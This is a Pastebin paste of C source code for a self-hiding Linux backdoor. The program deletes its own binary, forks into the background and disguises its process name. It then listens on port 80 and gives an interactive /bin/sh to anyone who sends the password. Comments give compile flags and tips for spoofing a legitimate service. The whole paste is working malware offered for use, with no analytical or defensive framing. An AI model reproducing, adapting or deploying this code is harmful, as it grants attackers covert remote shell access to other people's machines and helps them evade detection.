Madmouse

A self immolating backdoor that hides itself :D

Sep 12th, 2014
369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.41 KB | None | 0 0
  1. //
  2. // A self immolating backdoor that hides itself :D
  3. //  Written by: MadMouse
  4. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  5. // SAFETY:
  6. //   /!\ DO NOT FORGET TO KILL THIS AFTER RUNNING IT, IT WILL LEAVE YOU WITH AN OPEN SHELL FACING THE INTERNET /!\
  7. ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  8. /// Compile like this for good results:
  9. ///     gcc -static -s backdoor.c -o inject -lutil
  10. /// kill it like this:
  11. ///     sudo fuser -k -n tcp 80  # change 80 to whatever port you specified
  12. // ----------------------------------------------------------------------------
  13. // "THE BEER-WARE LICENSE" (Revision 43):
  14. // <[email protected]> wrote this file. As long as you retain this notice you
  15. // can do whatever you want with this stuff. If we meet some day, and you think
  16. // this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  17. // ----------------------------------------------------------------------------
  18.  
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <string.h>
  22. #include <pty.h>
  23.  
  24. typedef int bool;
  25. #define false 0
  26. #define true 1
  27.  
  28. #define SHELLPATH "/bin/sh"     // Whatever shell your little heart desires goes here
  29. #define SHELLOPTIONS "-i"           // shell options to be set as follows: "--option1","--option2" ......
  30.  
  31. // a list of environment variables to be set, use the format: "key1=value","key2=value" ......
  32. #define ENVIRONMENT "TERM=xterm"
  33.  
  34. // something similar to this: /sbin/wpa_supplicant -u -s -O /var/run/wpa_supplicant
  35. #define MAINPROCNAME "Call this something good"
  36. #define FORKPROCNAME "Call this something different"
  37.  
  38. #define PORT 80
  39. #define PASSWORD "password" //! FOR THE LOVE OF GOD CHANGE THIS
  40. const char banner[]="\n";                   // make the banner look like a service you want to spoof
  41. const char welcome[]="\nGame Time :D\n\n";  // a cute little message to yourself, you might use it for scripting...
  42.  
  43. void exit(int);
  44. /// check if the correct password was provided
  45. bool passtest(char *buffer,char *password)
  46. {
  47.     int i;
  48.     for(i=0;i<=strlen(buffer);++i)
  49.     {
  50.         if(buffer[i] == '\n' || buffer[i] == '\r')break;
  51.         else if(buffer[i] != password[i])return false;
  52.     }
  53.     if(strlen(buffer)-(strlen(buffer)-i) == strlen(password))return true;
  54.     return false;
  55. }
  56.  
  57. void main(int count, char **arg)
  58. {
  59.     unlink(arg[0]);         // deletes itself
  60.     if(fork()>0)exit(1);    // forks and removes itself to the background
  61.  
  62.     /// dont worry, its just an overflow into places where we dont have
  63.     /// anything else stored, and there is protection for this lol
  64.     memset(arg[0], 0, sizeof(MAINPROCNAME));    // zero out arg[0]
  65.     strncpy(arg[0],MAINPROCNAME,sizeof(MAINPROCNAME)); // over write that shit
  66.    
  67.     int s,sin,i;    // two sockets, and a counter
  68.  
  69.     // one of my least favorite structs of all time
  70.     struct sockaddr_in name;
  71.     s = socket(AF_INET, SOCK_STREAM, 0);
  72.     name.sin_family = AF_INET;
  73.     name.sin_port = htons(PORT);
  74.     name.sin_addr.s_addr = htonl(INADDR_ANY);
  75.    
  76.     bind(s, (struct sockaddr *) &name, sizeof (name)); // bind listener to where we told it to bind
  77.     listen(s, 5);       // listen for connections
  78.     while(1)            // loop forever
  79.     {
  80.         sin = accept(s, 0, 0);          // accept a connection
  81.         int pid = forkpty(&i, 0, 0, 0); // fork a pty so we can do our job
  82.         if(pid == 0)    // if the pid returned is the child
  83.         {
  84.             write(sin,banner,sizeof(banner));   // write the banner
  85.             char buffer[sizeof(PASSWORD)]="";   // create a buffer the size of password
  86.             read(sin,buffer,sizeof(buffer));    // read into that buffer the size of password
  87.             if(!passtest(buffer,PASSWORD))      // test the password and the buffer for a match
  88.             {
  89.                 close(sin);     // on failure drop the connection and exit this thread
  90.                 exit(0);
  91.             }
  92.             close(s);   // close the main socket
  93.             write(sin,welcome,sizeof(welcome)); // if this was the right password say welcome
  94.             for(i=2;i>=0;--i)   // duplicate socket into the standard input / standard outputs
  95.                 dup2(sin,i);
  96.             close(sin);         // we dont need the socket anymore, its job is now delegated to standard in/out
  97.             const char* opt[]={FORKPROCNAME,SHELLOPTIONS,0};    // process name + options
  98.             const char* env[]={ENVIRONMENT,0};  // the environment variables to start with
  99.             execve(SHELLPATH,opt,env);  // execute the shell with the environment / options specified
  100.             exit(0);    // exit
  101.         }
  102.         else
  103.             close(sin); // if this is the parent close sin and restart the loop
  104.     }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment